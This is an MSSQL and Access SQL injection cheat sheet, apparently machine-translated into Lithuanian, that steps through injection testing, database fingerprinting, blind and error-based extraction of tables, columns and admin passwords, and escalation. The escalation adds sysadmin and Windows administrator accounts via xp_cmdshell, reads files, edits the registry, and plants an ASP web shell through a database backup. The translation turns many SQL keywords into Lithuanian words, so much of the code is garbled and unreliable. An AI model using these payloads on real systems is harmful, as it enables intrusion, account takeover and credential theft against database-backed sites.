1. Nustatykite, ar yra injekcija ; ir 1 = 1 ; ir 1 = 2
2. Preliminarus sprendimas, ar tai mssql ; ir vartotojas>0
3. Spręskite apie duomenų bazių sistemą ; ir (pasirinkite count(*) iš sysobjects)>0 mssql ; ir (pasirinkite count(*) iš msysobjects)>0 prieigos
4. Injekcijos parametras yra simbolis "ir [užklausos kriterijai] ir "'="
5. Paieškos metu nėra filtruotų parametrų 'ir [užklausos kriterijai] ir '%25'='
6. Atspėkite stalo pavadinimą ; ir (pasirinkite Count(*) iš [lentelės pavadinimas])>0
7. Atspėkite lauką ; ir (lentelės pavadinime pasirinkite Skaičius(lauko pavadinimas)>0
8. Atspėkite įrašo ilgį lauke ; ir (pasirinkite viršų 1 len (lauko pavadinimas) iš lentelės pavadinimo)>0
9. (1) Atspėkite lauko ASCII reikšmę (prieiga) ; ir (pasirinkite 1 viršų ASC(MID(lauko pavadinimas, 1,1)) iš lentelės pavadinimo)>0
(2) Atspėkite lauko ASCII reikšmę (mssql) ; ir (pasirinkite viršų 1 Unicode(substring(lauko pavadinimas,1,1)) iš lentelės pavadinimo)>0
10. Bandymo leidimų struktūra (mssql) ; ir 1=(pasirinkite IS_SRVROLEMEMBER('sysadmin')); -- ; ir 1=(pasirinkite IS_SRVROLEMEMBER('serveradmin')); -- ; ir 1=(pasirinkite IS_SRVROLEMEMBER('setupadmin')); -- ; ir 1=(pasirinkite IS_SRVROLEMEMBER('securityadmin')); -- ; ir 1=(pasirinkite IS_SRVROLEMEMBER('diskadmin')); -- ; ir 1=(pasirinkite IS_SRVROLEMEMBER('bulkadmin')); -- ; ir 1=(pasirinkite IS_MEMBER('db_owner')); --
11. Pridėkite mssql ir sistemos paskyrą ; exec master.dbo.sp_addlogin vartotojo vardas; -- ; exec master.dbo.sp_password null, vartotojo vardas, slaptažodis; -- ; exec master.dbo.sp_addsrvrolemember sysadmin vartotojo vardas; -- ; exec master.dbo.xp_cmdshell 'tinklo vartotojo vartotojo vardas slaptažodis /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell "grynojo vartotojo vartotojo vardas slaptažodis / add"; -- ; exec master.dbo.xp_cmdshell "net localgroup administrators username /add"; --
12. (1) Peržiūrėkite katalogą ; Sukurti lentelės dirs(keliai varchar(100), id int) ; Įterpti dirs exec master.dbo.xp_dirtree 'C:\' ; ir (pasirinkite 1 geriausius kelius iš dirs)>0 ; ir (pasirinkite 1 geriausius kelius iš dirs, kur keliai nėra ('keliai gauti iš ankstesnio žingsnio'))>)
(2) Pereiti katalogą ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; įterpti temp exec master.dbo.xp_availablemedia; -- Gaukite visus dabartinius diskus ; įterpti į temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Gauti pakatalogių sąrašą ; įterpti į temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Gaukite visų pakatalogių katalogų medžio struktūrą ; įterpti į temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Peržiūrėti failo turinį
13. Saugomos procedūros mssql xp_regenumvalues Registro šakninis raktas, antrinis raktas ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' grąžina visas rakto reikšmes keliuose įrašų rinkiniuose xp_regread Šakninis raktas, antrinis raktas, rakto reikšmės pavadinimas ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' grąžina rinkinio rakto reikšmę xp_regwrite Šakninis raktas, antrinis raktas, reikšmės pavadinimas, reikšmės tipas, reikšmė Yra dviejų tipų reikšmių tipai REG_SZ REG_DWORD simbolių tipams ir sveikiesiems skaičiams ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' į registrą xp_regdeletevalue Šakninis raktas, dalinis raktas, reikšmės pavadinimas exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', kad pašalintumėte reikšmę xp_regdeletekey "HKEY_LOCAL_MACHINE", "SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey", kad pašalintumėte raktą, įskaitant visas to rakto reikšmes
14. MSSQL atsarginė kopija sukuria žiniatinklio apvalkalą naudoti modelį sukurti lentelę cmd(str vaizdas); įterpti į cmd(str) reikšmes ('<% Dim oScript %>'); Atsarginė duomenų bazės modelio kopija į Disk='C:\l.asp';
15. MSSQL integruotos funkcijos ; ir (pasirinkite @@version)>0, kad gautumėte "Windows" versijos numerį ; ir user_name()='dbo', kad nustatytų, ar prijungtas dabartinės sistemos naudotojas yra SA ; ir (pasirinkite user_name())>0 Išsprogdino prijungtus dabartinės sistemos vartotojus ; ir (pasirinkite db_name())>0, kad gautumėte šiuo metu prijungtą duomenų bazę
MSSQL ranka anotuotos duomenų bazės pažeidimas
1. Atskleiskite dabartinės lentelės pavadinimą ir stulpelio pavadinimą Pateikite "turintys 1=1--" po injekcijos taško, kad gautumėte grįžtamąjį pranešimą anglų kalba, kuriame galite pamatyti lentelės pavadinimą ir stulpelio pavadinimą. Pateikite "grupė pagal sąrašo pavadinimą, turintį 1=1--", kad gautumėte kitą stulpelio pavadinimą; Toliau pateikite "grupuoti pagal eksponuojamos lentelės pavadinimo sąrašą, eksponuojamos lentelės pavadinimą. Antrojo stulpelio pavadinimas turi 1=1--", kuris suteikia kitą stulpelio pavadinimą. Vykdykite tą patį būdą, kol puslapis nebepateiks klaidų pranešimų, kad gautumėte visus stulpelių pavadinimus. Smulkmenos: Smurtiniai lentelių pavadinimai ir stulpelių pavadinimai naudojami kartu su GROUP BY SQL sakiniuose, kad būtų galima priimti sąlyginius sprendimus. Kadangi sakinys neišsamus, duomenų bazė pateikia klaidos pranešimą ir rodo lentelės pavadinimą bei stulpelio pavadinimą. Pagrindinis metodas gali atskleisti tik dabartinę duomenų bazės lentelę, o jei lentelėje yra daug stulpelių pavadinimų, labai sunku naudoti pagrindinį metodą.
Pirmas. Rodomi visi duomenų bazių pavadinimai Naudokite sakinį "ir 0<>(select count(*) from master.dbo.sysdatabases, kur name>1 ir dbid=[N])", kad duomenų bazėje būtų rodomi savavališki lentelių pavadinimai ir stulpelių pavadinimai, kur "[N]" reiškia N-tą lentelę duomenų bazėje. 1 žingsnis: Įvedę tašką, pateikite šį teiginį: "ir 0<>(pasirinkite count(*) iš master.dbo.sysdatabases, kur name>1 ir dbid=12)", nes dbid vertė yra nuo 1 iki 5, kurią naudoja sistema, todėl vartotojas turi būti jį sukūręs nuo 6, o mes pateikėme pavadinimą>1, pavadinimo laukas yra simbolio tipo laukas, ir skaičių palyginimas bus neteisingas, todėl po pateikimo, IE grąžins šią informaciją: "Microsoft OLE DB teikėjas ODBC tvarkyklės klaida ?e07' [Microsoft][ODBC SQL Server tvarkyklė][SQL serveris] konvertuoja nvarchar reikšmę 'Northwind' į duomenų tipą int stulpelis. Tokiu būdu atskleidžiama pavadinimo lauko reikšmė, tai yra, gauname duomenų bazės pavadinimą "Šiaurės vėjas". Pakeitus "dbid" reikšmę, galima gauti visus duomenų bazių pavadinimus.
ir 0<>(select count(*) from master.dbo.sysdatabases, kur name>1 ir dbid=[N])-- Modifikuokite N, kad išsprogdintumėte visus duomenų bazių pavadinimus iš 6
Antra. Rodyti visus lentelių pavadinimus nurodytoje duomenų bazėje Gavę duomenų bazės pavadinimą, dabar turite gauti visus bibliotekos lentelių pavadinimus, pateikti šį teiginį: "ir 0<>(pasirinkite 1 geriausią pavadinimą iš master.dbo.sysobjects, kur xtype='U')", čia yra lentelės pavadinimas pagrindinėje duomenų bazėje, o užklausos SQL sakinys grąžina pavadinimo reikšmę, tada palyginkite ją su skaičiumi 0, kad pavadinimo reikšmė būtų atskleista. Po pateikimo, lentelės pavadinimas buvo "spt_monito" buvo atskleistas. Tada atskleidžiamos kitos lentelės ir pateikiamas toks teiginys: "ir 0<>(pasirinkite 1 viršų pavadinimą iš master.dbo.sysobjects, kur xtype='U' ir pavadinimas not in('spt_monito'))", ir kita lentelė pavadinimu "cd512" yra eksponuojama. Failas "ir pavadinimas ne (' spt_monito',' CD512',..))" Galite sužinoti visus lentelių pavadinimus.
ir 0<>(pasirinkite viršų 1 pavadinimas iš [nurodyti duomenų bazės pavadinimą].dbo.sysobjects kur xtype='U')-- ir 0<>(pasirinkite viršų 1 pavadinimas iš [nurodyti duomenų bazės pavadinimą].dbo.sysobjects kur xtype='U' ir pavadinimas not in('[Išskleistos lentelės pavadinimas]'))-- ir 0<>(pasirinkite viršų 1 pavadinimas iš [nurodyti duomenų bazės pavadinimą].dbo.sysobjects kur xtype='U' ir pavadinimas not in('[Sprogstamosios lentelės pavadinimas]', '[Išsprogęs antrosios lentelės pavadinimas]'))--
4. Atskleiskite visus stulpelių pavadinimus nurodytoje lentelėje ir 0<>(pasirinkite count(*) iš bbs.dbo.sysobjects, kur xtype='U' ir name='admin' ir uid>(str(id))) Konvertuokite ID reikšmę į simbolio tipą ir palyginkite ją su sveikojo skaičiaus reikšme. ID numeris išleistas. Reikšmė yra: 949578421 name='lentelės pavadinimas'
ir 0<>(pasirinkite 1 populiariausią pavadinimą iš wutong.dbo.syscolumns, kur id=949578421)-- Rodomas lauko pavadinimas administratoriaus lentelėje
Pakartotinai pateikti ir 0<>(pasirinkite viršų 1 pavadinimas iš wutong.dbo.syscolumns, kur id = 949578421 ir pavadinimas ne ('adduser')))-- Failas "ir pavadinimas ne (' spt_monito',' CD512',..))" Visus laukų pavadinimus galite rasti administratoriaus lentelėje.
ir 0<>(select count(*) from [specify database name].dbo.sysobjects where xtype='U' and name='[Išskleidžiamo lauko lentelės pavadinimas]" ir uid>(str(id)))--Išskleidžiamo lauko lentelės pavadinimo ID reikšmė
ir 0<>(pasirinkite 1 viršutinį pavadinimą iš [nurodyti duomenų bazės pavadinimą].dbo.syscolumns kur id=išskleista id reikšmė)-- Išskleidžiamo ID reikšmės lentelės lauko pavadinimas
ir 0<>(pasirinkite 1 viršų pavadinimą iš [nurodyti duomenų bazės pavadinimą].dbo.syscolumns, kur id=Sprogstamojo id reikšmė ir pavadinimas not in('[Išskleisto lauko pavadinimas]')))--
5. Perskaitykite duomenis nurodytoje lentelėje
ir 0<(pasirinkite A_ID iš wutong.dbo.admin, kur A_UserID>1) - turinys, kuris sulaužė A_PWD
ir 0<(pasirinkite [esamą lauką] iš [nurodyti duomenų bazės pavadinimą].dbo.[užklausos lentelės pavadinimas], kur [lauko pavadinimas, skirtas turiniui sprogdinti]>1)--
ir 0<(pasirinkite A_ID iš wutong.dbo.admin, kur A_PWD>1 ir A_UserID='admin')-- Administratoriaus slaptažodis yra atskleistas
ir 0<(Pasirinkite Top 1 A_UserID FROM admin, kur A_ID<>1)-- Administratoriaus vardas id<>1 (fuhao)
ir 0<(Pasirinkite Top 1 A_UserID FROM admin, kur A_ID <>1 ir A_UserID <> 'fuhao')-- Antrojo administratoriaus vardas <> nelygus (tuiguang)
ir 0<(Pasirinkite Top 1 A_UserID FROM admin, kur A_ID <>1 ir A_UserID <> 'fuhao'ir A_UserID <> 'tuiguang')--
Sužinoję duomenų bazės lentelės pavadinimą ir stulpelio pavadinimą, galite naudoti "užklausos sakinį", kad perskaitytumėte bet kokią duomenų bazės informaciją. Pavyzdžiui, jei norite perskaityti N-tą duomenis lentelės stulpelyje, galite pateikti teiginį: "ir (Pasirinkite 1 stulpelio pavadinimą FROM lentelės pavadinimas, kur id=[N])>1" ([N] reiškia N-tus duomenis stulpelyje), o norimus duomenis galite sužinoti iš IE pateiktos informacijos.
|